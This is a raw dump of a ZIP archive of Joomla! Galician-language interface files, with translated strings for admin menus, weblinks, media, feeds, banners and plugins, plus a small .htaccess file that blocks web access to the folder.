PK@y>\NT{!language/gl-ES/gl-ES.mod_menu.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Menú da administración" MOD_MENU_CLEAR_CACHE="Purgar a caché" MOD_MENU_COMPONENTS="Compoñentes" MOD_MENU_COM_CONTENT="Contido" MOD_MENU_COM_CONTENT_ARTICLE_MANAGER="Xestor de artigos" MOD_MENU_COM_CONTENT_CATEGORY_MANAGER="Xestor de categorías" MOD_MENU_COM_CONTENT_FEATURED="Artigos destacados" MOD_MENU_COM_CONTENT_NEW_ARTICLE="Engadir un novo artigo" MOD_MENU_COM_CONTENT_NEW_CATEGORY="Engadir unha nova categoría" MOD_MENU_COM_USERS="Usuarios" MOD_MENU_COM_USERS_ADD_GROUP="Engadir un novo grupo" MOD_MENU_COM_USERS_ADD_LEVEL="Engadir un novo nivel de acceso" MOD_MENU_COM_USERS_ADD_USER="Engadir un novo usuario" MOD_MENU_COM_USERS_GROUPS="Grupos" MOD_MENU_COM_USERS_LEVELS="Niveis de acceso" MOD_MENU_COM_USERS_USERS="Usuarios" MOD_MENU_COM_USERS_USER_MANAGER="Xestor de usuarios" MOD_MENU_COM_USERS_ADD_NOTE="Engadir nota de usuario" MOD_MENU_COM_USERS_NOTES="Notas de usuario" MOD_MENU_COM_USERS_NOTE_CATEGORIES="Categorías de notas de usuario" MOD_MENU_CONFIGURATION="Configuración global" MOD_MENU_CONTROL_PANEL="Panel de administración" MOD_MENU_EXTENSIONS_EXTENSIONS="Extensións" MOD_MENU_EXTENSIONS_EXTENSION_MANAGER="Xestor de extensións" MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER="Xestor de idiomas" MOD_MENU_EXTENSIONS_MODULE_MANAGER="Xestor de módulos" MOD_MENU_EXTENSIONS_PLUGIN_MANAGER="Xestor de engadidos" MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER="Xestor de temas" MOD_MENU_FIELD_FORUMURL_DESC="Pode inserir aquí o URL a outro foro distinto do predeterminado." MOD_MENU_FIELD_FORUMURL_LABEL="Custom Support Forum" MOD_MENU_FIELD_SHOWHELP="Menú de axuda" MOD_MENU_FIELD_SHOWHELP_DESC="Amosar/Agochar o menú de axuda. Inclúe ligazóns a varios sitios de joomla.org que poden se útiles para os usuarios." MOD_MENU_FIELD_SHOWNEW="Engadir un novo atallo" MOD_MENU_FIELD_SHOWNEW_DESC="Amosar/Agochar varias ligazóns rápidas a 'Engadir novo...' para usuarios, grupos, niveis de acceso, artigos e categorías." MOD_MENU_GLOBAL_CHECKIN="Desbloqueo global" MOD_MENU_HELP="Axuda" MOD_MENU_HELP_COMMUNITY="Portal da comunidade" MOD_MENU_HELP_CURRENT="Axuda con esta páxina" MOD_MENU_HELP_DEVELOPER="Recursos para desenvolvedores" MOD_MENU_HELP_DOCUMENTATION="Documentación wiki" MOD_MENU_HELP_EXTENSIONS="Extensións Joomla!" MOD_MENU_HELP_JOOMLA="Axuda Joomla!" MOD_MENU_HELP_LINKS="Ligazóns útiles Joomla!" MOD_MENU_HELP_RESOURCES="Recursos Joomla!" MOD_MENU_HELP_SECURITY="Centro de seguranza" MOD_MENU_HELP_SHOP="Tenda Joomla!" MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM="Foro oficial de asistencia (en inglés)" ; the string below will be used if the localized sample data contains an URL for the desired community forum or if the 'Custom Support Forum' field parameter in the Admin Menu module contains an url MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM="Custom Support Forum" ; the string below will be used if MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE has a value, i.e the # of the specific language forum in forum.joomla.org MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM="Foro oficial galego" MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE="" MOD_MENU_HELP_TRANSLATIONS="Traducións Joomla!" MOD_MENU_HOME_DEFAULT="Inicio" MOD_MENU_HOME_MULTIPLE="Aviso! Múltiples páxinas de inicio! " MOD_MENU_LOGOUT="Saír ao anonimato" MOD_MENU_MASS_MAIL_USERS="Enviar correo masivo (aos usuarios)" MOD_MENU_MEDIA_MANAGER="Xestor multimedia" MOD_MENU_MENUS="Menús" MOD_MENU_MENU_MANAGER="Xestor de menús" MOD_MENU_MENU_MANAGER_NEW_MENU="Engadir novo menú" MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM="Engadir novo elemento" MOD_MENU_NEW_PRIVATE_MESSAGE="Nova mensaxe privada" MOD_MENU_PURGE_EXPIRED_CACHE="Purgar a caché expirada" MOD_MENU_READ_PRIVATE_MESSAGES="Ler mensaxes privadas" MOD_MENU_SITE="Sitio" MOD_MENU_MAINTENANCE="Mantemento" MOD_MENU_SYSTEM_INFORMATION="Información do sistema" MOD_MENU_TOOLS="Ferramentas" MOD_MENU_USER_PROFILE="Meu perfil" MOD_MENU_XML_DESCRIPTION="Este modulo amosa o menú principal de navegación da administración" PK@y>\Vbb&language/gl-ES/gl-ES.com_login.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LOGIN="Identificarse" COM_LOGIN_XML_DESCRIPTION="Este compoñente permite a identificación de usuarios no sitio." PK@y>\u?bb3language/gl-ES/gl-ES.plg_editors_codemirror.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CODEMIRROR_XML_DESCRIPTION="Este engadido carga o editor CodeMirror." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror" PK@y>\9cR=ll*language/gl-ES/gl-ES.com_newsfeeds.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS="Semente de noticias" COM_NEWSFEEDS_CATEGORIES="Categorías" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC="Amosa todas as categorías de semente de novas dentro dunha categoría." COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION="Predeterminado" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE="Lista todas as categorías de semente de novas" COM_NEWSFEEDS_CATEGORY_ADD_TITLE="Xestor de categorías: Engadir unha categoría de semente de novas" COM_NEWSFEEDS_CATEGORY_EDIT_TITLE="Xestor de categorías: Modificar unha categoría de semente de novas" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC="Amosar todas as sementes de novas dentro dunha categoría" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION="Predeterminado" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE="Lista as sementes de novas nunha categoría" COM_NEWSFEEDS_FEEDS="Sementes" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC="Amosar unha semente de novas individual." COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION="Predeterminado" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE="Semente de novas individual" COM_NEWSFEEDS_XML_DESCRIPTION="Este compoñente xestiona a sementes de novas RSS e Atom." PK@y>\J0language/gl-ES/gl-ES.plg_system_redirect.sys.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REDIRECT_XML_DESCRIPTION="O engadido de sistema redirixir permite a Joomla! capturar páxinas desaparecidas e redirixir aos usuarios. Evitando así as páxinas de erro." PLG_SYSTEM_REDIRECT="Sistema - Redirixir" PK@y>\`;qq(language/gl-ES/gl-ES.com_modules.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MODULES="Xestor de módulos" COM_MODULES_XML_DESCRIPTION="Compoñente para a xestión de módulos na administración do sitio." PK@y>\כ4!language/gl-ES/gl-ES.mod_feed.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Amosar semente" MOD_FEED_ERR_CACHE="Faga o cartafol da cache escribíbel" MOD_FEED_ERR_NO_URL="Non especificou un URL para a semente." MOD_FEED_FIELD_DESCRIPTION_DESC="Amosar/Agochar o texto da descrición da semente" MOD_FEED_FIELD_DESCRIPTION_LABEL="Descrición da semente" MOD_FEED_FIELD_IMAGE_DESC="Amosar/Agochar a imaxe asociada á semente" MOD_FEED_FIELD_IMAGE_LABEL="Imaxe da semente" MOD_FEED_FIELD_ITEMDESCRIPTION_DESC="Amosar/Agochar a descrición ou texto introdutorio dos elementos individuais da semente" MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL="Descrición do elemento" MOD_FEED_FIELD_ITEMS_DESC="Insira o número de elementos da RSS a amosar" MOD_FEED_FIELD_ITEMS_LABEL="Elementos" MOD_FEED_FIELD_RSSTITLE_DESC="Amosar o título da semente de novas" MOD_FEED_FIELD_RSSTITLE_LABEL="Título da semente" MOD_FEED_FIELD_RSSURL_DESC="Insira o URL da semente RSS/RDF/ATOM" MOD_FEED_FIELD_RSSURL_LABEL="URL da semente" MOD_FEED_FIELD_RTL_DESC="Amosar a semente en dirección RTL" MOD_FEED_FIELD_RTL_LABEL="Semente RTL" MOD_FEED_FIELD_WORDCOUNT_DESC="Permite liminar a cantidade de texto visible na descrición do elemento. Estableza 0 para amosar todo o texto" MOD_FEED_FIELD_WORDCOUNT_LABEL="Contar palabras" MOD_FEED_XML_DESCRIPTION="Este módulo permite amosar as sementes subscritas" PK@y>\3v"v"%language/gl-ES/gl-ES.com_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS="Ligazóns web" COM_WEBLINKS_ACCESS_HEADING="Acceso" COM_WEBLINKS_BATCH_OPTIONS="Procesar por lotes as ligazóns seleccionadas" COM_WEBLINKS_BATCH_TIP="Se escolleu copiar unha ligazón, calquera outra acción seleccionada será aplicada á ligazón copiada. Do contrario, as accións serán aplicadas á ligazón seleccionada." COM_WEBLINKS_CATEGORIES_DESC="Estes axustes aplicaranse ás opcións das categorías das ligazóns web a non ser que se muden nun elemento de menú específico." COM_WEBLINKS_CATEGORY_DESC="Estes axustes aplicaranse ás opcións das categorías das ligazóns web a non ser que se muden nun elemento de menú específico." COM_WEBLINKS_COMPONENT_DESC="Estes axustes aplicaranse ás ligazóns web a non ser que se muden nun elemento de menú específico." COM_WEBLINKS_COMPONENT_LABEL="Ligazón web" COM_WEBLINKS_CONFIG_INTEGRATION_SETTINGS_DESC="Estes axustes determinan como se ha de integrar o compoñente ligazóns web con outras extensións." COM_WEBLINKS_CONFIGURATION="Opcións do xestor de ligazóns" COM_WEBLINKS_EDIT_WEBLINK="Modificar ligazón web" COM_WEBLINKS_ERR_TABLES_NAME="Xa hai unha ligazón web con ese nome nesta categoría. Inténtelo novamente." COM_WEBLINKS_ERR_TABLES_PROVIDE_URL="Insira un URL válido" COM_WEBLINKS_ERR_TABLES_TITLE="Súa ligazón web ten que conter un título." COM_WEBLINKS_ERROR_UNIQUE_ALIAS="Outra ligazón web desta categoría ten o mesmo alcume" COM_WEBLINKS_FIELD_ALIAS_DESC="O alcume é só para uso interno. Se se deixa en branco o Joomla! encherao cun valor predeterminado a partir do título. Este ten que ser único para cada ligazón web na mesma categoría." COM_WEBLINKS_FIELD_CATEGORY_DESC="Escolla unha categoría para esta ligazón web" COM_WEBLINKS_FIELD_CATEGORYCHOOSE_DESC="Escolla unha categoría de ligazóns web para amosar" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_DESC="Amosar/Agochar o número de ligazóns web en cada categoría" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL="# ligazóns web" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_DESC="Se establece si, rexistrarase o número de veces que accedeu á ligazón web" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_LABEL="Contaxe de accesos" COM_WEBLINKS_FIELD_CONFIG_DESCRIPTION_DESC="Amosar/Agochar a descrición de embaixo" COM_WEBLINKS_FIELD_CONFIG_HITS_DESC="Amosar/Agochar accesos" COM_WEBLINKS_FIELD_CONFIG_ICON_DESC="Se elixiu icona desde máis arriba, seleccione unha icona a empregar coas ligazóns web, empregarase a icona predeterminada." COM_WEBLINKS_FIELD_CONFIG_ICON_LABEL="Escoller icona" COM_WEBLINKS_FIELD_CONFIG_INTRO_DESC="Insira aquí un texto introdutorio para as ligazóns web" COM_WEBLINKS_FIELD_CONFIG_INTRO_LABEL="Introdución" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_DESC="Amosar/Agochar a descrición das ligazóns" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_LABEL="Descrición das ligazóns" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_DESC="Amosar/Agochar outras categorías" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_LABEL="Outras categorías" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_DESC="Amosar/Agochar a posibilidade de informar dunha ligazón rompida" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_LABEL="Informes" COM_WEBLINKS_FIELD_COUNTCLICKS_DESC="Se establece si, rexistrarase o número de veces que accedeu á ligazón web" COM_WEBLINKS_FIELD_COUNTCLICKS_LABEL="Contaxe de accesos" COM_WEBLINKS_FIELD_DESCRIPTION_DESC="Insira unha descrición para a ligazón web" COM_WEBLINKS_FIELD_DISPLAY_NUM_DESC="O número predeterminado de ligazóns web a amosar nunha páxina" COM_WEBLINKS_FIELD_DISPLAY_NUM_LABEL="# de ligazóns web a amosar" COM_WEBLINKS_FIELD_HEIGHT_DESC="Altura da xanela emerxente ou modal. Se deixar baleiro, o valor predeterminado é 600x500." COM_WEBLINKS_FIELD_HEIGHT_LABEL="Altura" COM_WEBLINKS_FIELD_ICON_DESC="Amosa un texto ou unha icona coas ligazóns web. O predeterminado é a icona." COM_WEBLINKS_FIELD_ICON_LABEL="Texto/Icona/Só ligazón web" COM_WEBLINKS_FIELD_ICON_OPTION_ICON="Icona" COM_WEBLINKS_FIELD_ICON_OPTION_TEXT="Texto" COM_WEBLINKS_FIELD_ICON_OPTION_WEBLINK="Só ligazón web" COM_WEBLINKS_FIELD_LANGUAGE_DESC="Asignar un idioma a esta ligazón web" COM_WEBLINKS_FIELD_MODIFIED_DESC="A data e a hora da ultima modificación da ligazón web" COM_WEBLINKS_FIELD_SELECT_CATEGORY_DESC="Escolla unha categoría a amosar de ligazóns web" COM_WEBLINKS_FIELD_SELECT_CATEGORY_LABEL="Seleccione unha categoría" COM_WEBLINKS_FIELD_STATE_DESC="Asigne o estado da publicación." COM_WEBLINKS_FIELD_TARGET_DESC="Abrir destino nunha xanela do navegador ao premer na ligazón web" COM_WEBLINKS_FIELD_TARGET_LABEL="Destino" COM_WEBLINKS_FIELD_TITLE_DESC="A ligazón web ten que ter un título" COM_WEBLINKS_FIELD_URL_DESC="Ten que inserir un URL." COM_WEBLINKS_FIELD_URL_LABEL="URL" COM_WEBLINKS_FIELD_VALUE_REPORTED="Informado" COM_WEBLINKS_FIELD_WIDTH_DESC="Largura da xanela de destino emerxente ou modal. Se deixar baleiro, o valor predeterminado é 600x500." COM_WEBLINKS_FIELD_WIDTH_LABEL="Largura" COM_WEBLINKS_FIELDSET_OPTIONS="Opcións básicas" COM_WEBLINKS_FILTER_CATEGORY="Filtrar categoría" COM_WEBLINKS_FILTER_STATE="Filtrar estado" COM_WEBLINKS_HITS_DESC="Número de accesos a esta ligazón web" COM_WEBLINKS_LIST_LAYOUT_DESC="Estes axustes aplícanse ás opcións da presentación da lista de ligazóns web a non ser que fose mudada nin elemento de menú específico. " COM_WEBLINKS_MANAGER_WEBLINK="Xestor de ligazóns web: Ligazóns web" COM_WEBLINKS_MANAGER_WEBLINKS="Xestor de ligazóns web: Ligazóns web" COM_WEBLINKS_N_ITEMS_ARCHIVED="%d ligazóns web arquivadas con éxito" COM_WEBLINKS_N_ITEMS_ARCHIVED_1="%d ligazón web arquivada con éxito" COM_WEBLINKS_N_ITEMS_CHECKED_IN_0="Ningunha ligazón web comprobada con éxito" COM_WEBLINKS_N_ITEMS_CHECKED_IN_1="%d ligazón web comproba con éxito" COM_WEBLINKS_N_ITEMS_CHECKED_IN_MORE="%d ligazóns web comprobados con éxito" COM_WEBLINKS_N_ITEMS_DELETED="%d ligazóns web eliminadas con éxito" COM_WEBLINKS_N_ITEMS_DELETED_1="%d ligazón web eliminada con éxito" COM_WEBLINKS_N_ITEMS_PUBLISHED="%d ligazóns web publicadas con éxito" COM_WEBLINKS_N_ITEMS_PUBLISHED_1="%d ligazón web publicada con éxito" COM_WEBLINKS_N_ITEMS_TRASHED="%d ligazóns web enviadas ao lixo con éxito" COM_WEBLINKS_N_ITEMS_TRASHED_1="%d ligazón web enviada ao lixo con éxito" COM_WEBLINKS_N_ITEMS_UNPUBLISHED="%d ligazóns web despublicadas con éxito" COM_WEBLINKS_N_ITEMS_UNPUBLISHED_1="%d ligazón web despublicada con éxito" COM_WEBLINKS_NEW_WEBLINK="Nova ligazón web" COM_WEBLINKS_OPTION_FILTER_ACCESS="- Filtrar acceso -" COM_WEBLINKS_OPTION_FILTER_CATEGORY="- Filtrar categoría -" COM_WEBLINKS_OPTION_FILTER_PUBLISHED="- Filtrar estado -" COM_WEBLINKS_OPTIONS="Opcións" COM_WEBLINKS_ORDER_HEADING="Orde" COM_WEBLINKS_SAVE_SUCCESS="Ligazón web gardada con éxito" COM_WEBLINKS_SEARCH_IN_TITLE="Buscar no título" COM_WEBLINKS_SHOW_EMPTY_CATEGORIES_DESC="Amosar/Agochar as categoría baleiras. Unha categoría está baleira se non ten ligazóns web nin subcategorías." COM_WEBLINKS_SUBMENU_CATEGORIES="Categorías" COM_WEBLINKS_SUBMENU_WEBLINKS="Ligazóns web" COM_WEBLINKS_XML_DESCRIPTION="Compoñente para a xestión de ligazóns web" JGLOBAL_NO_ITEM_SELECTED="Ningunha ligazón web escollida" JGLOBAL_NEWITEMSLAST_DESC="De xeito predeterminado as novas ligazóns web irá á ultima posición. A orde pode ser mudada despois de que a ligazón web sexa gardada." JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="Non ten permisos para crear novos elementos nesta categoría." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="Non ten permisos para modificar un ou máis elementos." JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\(language/gl-ES/gl-ES.mod_toolbar.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TOOLBAR="Barra de ferramentas" MOD_TOOLBAR_XML_DESCRIPTION="Este módulo amosa as iconas da barra de ferramentas empregados para controlar as accións dentro da administración." MOD_TOOLBAR_LAYOUT_DEFAULT="Predeterminado" PK@y>\ 88*language/gl-ES/gl-ES.plg_system_logout.ininuW+A; @package Joomla ; @subpackage plgSystemLogout ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="O engadido de sistema saír ao anonimato activa en Joomla! a redirección do usuario á páxina de inicio, se pasa ao anonimato cando está nunha páxina de acceso protexido." PLG_SYSTEM_LOGOUT="Sistema - Saír ao anonimato" PLG_SYSTEM_LOGOUT_REDIRECT="Foi redirixido á páxina de inicio ao saír ao anonimato" PK@y>\̝]ss1language/gl-ES/gl-ES.plg_extension_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EXTENSION_JOOMLA="Extensións - Joomla!" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Xestiona os sitios de actualización de extensións" PK@y>\ 11language/gl-ES/gl-ES.plg_system_highlight.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="Sistema - Realzar" PLG_SYSTEM_HIGHLIGHT_ERROR_ACTIVATING_PLUGIN="Non foi posíbel activar automaticamente o engadido \"_QQ_\"Sistema - Realzar\"_QQ_\"" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="Engadido de sistema para realzar os termos especificados." PK@y>\)language/gl-ES/.htaccessnuW+A Order allow,deny Deny from all PK@y>\cll)language/gl-ES/gl-ES.plg_editors_none.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_NONE="Editor - Sen editor" PLG_NONE_XML_DESCRIPTION="Isto carga unha simple caixa de texto para a entrada do texto." PK@y>\oyy3language/gl-ES/gl-ES.plg_content_pagenavigation.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGENAVIGATION="Contido - Navegación entre páxinas" PLG_PAGENAVIGATION_FIELD_POSITION_DESC="A posición onde se visualiza a función de Navegación entre páxinas en relación ao texto." PLG_PAGENAVIGATION_FIELD_POSITION_LABEL="Posición" PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC="Asigna a posición relativa para o parámetro 'Posición'. O texto situarao directamente enriba ou embaixo do contido do artigo. Ao amosar o artigo completo situarao enriba ou embaixo da vista completa incluíndo o título e Ler máis." PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL="Relativa a" PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE="Enriba" PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE="Artigo completo" PLG_PAGENAVIGATION_FIELD_VALUE_BELOW="Embaixo" PLG_PAGENAVIGATION_FIELD_VALUE_TEXT="Texto" PLG_PAGENAVIGATION_XML_DESCRIPTION="Permite engadir a un artigo a funcionalidade Seguinte & Anterior." PK@y>\ :language/gl-ES/gl-ES.plg_quickicon_extensionupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Iconas rápidas - Notificación de actualización de extensións Joomla!" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Verifica se hai actualizacións das extensións de terceiros instaladas e notifícao ao acceder ao panel de administración. " PK@y>\Qt{(language/gl-ES/gl-ES.com_banners.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS="Carteis" COM_BANNERS_BANNERS="Carteis" COM_BANNERS_CATEGORY_ADD_TITLE="Xestor de categorías: Engadir nova categoría de carteis" COM_BANNERS_CATEGORY_EDIT_TITLE="Xestor de categorías: Modificar categoría de carteis" COM_BANNERS_CATEGORIES="Categorías" COM_BANNERS_CLIENTS="Clientes" COM_BANNERS_TRACKS="Seguimentos" COM_BANNERS_XML_DESCRIPTION="Este compoñente xestiona carteis e clientes dos carteis." PK@y>\!2language/gl-ES/gl-ES.plg_editors-xtd_image.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_IMAGE="Botón - Imaxe" PLG_IMAGE_XML_DESCRIPTION="Amosa un botón que permite inserir imaxes dentro dun artigo. Amosa unha xanela emerxente que permite configurar as propiedades de imaxe e subir novos ficheiros de imaxe" PK@y>\D\ dd&language/gl-ES/gl-ES.mod_quickicon.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_QUICKICON="Iconas de acceso directo" MOD_QUICKICON_ADD_NEW_ARTICLE="Engadir un novo artigo" MOD_QUICKICON_ARTICLE_MANAGER="Xestor de artigos" MOD_QUICKICON_CATEGORY_MANAGER="Xestor de categorías" MOD_QUICKICON_EXTENSION_MANAGER="Xestor de extensións" MOD_QUICKICON_FRONTPAGE_MANAGER="Xestor da portada" MOD_QUICKICON_GLOBAL_CONFIGURATION="Configuración global" MOD_QUICKICON_GROUP_DESC="O grupo deste módulo (este valor é comparado co valor do grupo usado nos engadidos Iconas rápidas para inxectar iconas). O grupo 'mod_quickicon' sempre amosa as iconas do núcleo de Joomla!" MOD_QUICKICON_GROUP_LABEL="Grupo" MOD_QUICKICON_LANGUAGE_MANAGER="Xestor de idiomas" MOD_QUICKICON_MEDIA_MANAGER="Xestor multimedia" MOD_QUICKICON_MENU_MANAGER="Xestor de menús" MOD_QUICKICON_MODULE_MANAGER="Xestor de módulos" MOD_QUICKICON_PROFILE="Modificar perfil" MOD_QUICKICON_TEMPLATE_MANAGER="Xestor de temas" MOD_QUICKICON_TITLE="Iconas de acceso directo" MOD_QUICKICON_USER_MANAGER="Xestor de usuarios" MOD_QUICKICON_XML_DESCRIPTION="Este módulo amosa as iconas de acceso que son visíbeis no panel de administración." PK@y>\З'language/gl-ES/gl-ES.mod_latest.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LATEST="Últimas novas" MOD_LATEST_XML_DESCRIPTION="Este módulo amosa unha lista dos artigos publicados máis recentemente e que aínda son actuais. Algúns poden ter expirado, aínda que sexan os máis recentes." MOD_LATEST_LAYOUT_DEFAULT="Predeterminado" PK@y>\;q "language/gl-ES/gl-ES.com_media.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA="Xestor multimedia" COM_MEDIA_ALIGN="Aliñar" COM_MEDIA_ALIGN_DESC="Se non se establece, o aliñamento predeterminado para a clase '.img_caption.none', normalmente é centrado na páxina." COM_MEDIA_BROWSE_FILES="Examinar ficheiros" COM_MEDIA_CAPTION="Lenda" COM_MEDIA_CAPTION_DESC="Se establece 'si', o título da imaxe será usado como lenda." COM_MEDIA_CLEAR_LIST="Borrar listaxe" COM_MEDIA_CONFIGURATION="Opcións do xestor multimedia" COM_MEDIA_CREATE_COMPLETE="Creación completada: %s" COM_MEDIA_CREATE_FOLDER="Crear cartafol" COM_MEDIA_CURRENT_PROGRESS="Progreso actual" COM_MEDIA_DELETE_COMPLETE="Borrado completado: %s" COM_MEDIA_DESCFTPTITLE="Datos de acceso FTP" COM_MEDIA_DESCFTP="Para subir, mudar e borrar ficheiros multimedia, o máis probable é que o Joomla! precise dos detalle da conta FTP. Insíraos, a continuación, nos campos do formulario." COM_MEDIA_DETAIL_VIEW="Vista detalles" COM_MEDIA_DIRECTORY="Cartafol" COM_MEDIA_DIRECTORY_UP="Subir cartafol" COM_MEDIA_ERROR_BAD_REQUEST="Solicitude incorrecta" COM_MEDIA_ERROR_BEFORE_DELETE_0="Producíronse erros antes de borrar o medio" COM_MEDIA_ERROR_BEFORE_DELETE_1="Produciuse un erro antes de borrar o medio: %s" COM_MEDIA_ERROR_BEFORE_DELETE_MORE="Producíronse algúns erros antes de borrar o medio: %s" COM_MEDIA_ERROR_BEFORE_SAVE_0="Producíronse erros antes de gardar o medio" COM_MEDIA_ERROR_BEFORE_SAVE_1="Produciuse un erro antes de gardar o medio: %s" COM_MEDIA_ERROR_BEFORE_SAVE_MORE="Producíronse algúns erros antes de gardar o medio: %s" COM_MEDIA_ERROR_CREATE_NOT_PERMITTED="Non se permite a creación" COM_MEDIA_ERROR_FILE_EXISTS="O ficheiro xa existe" 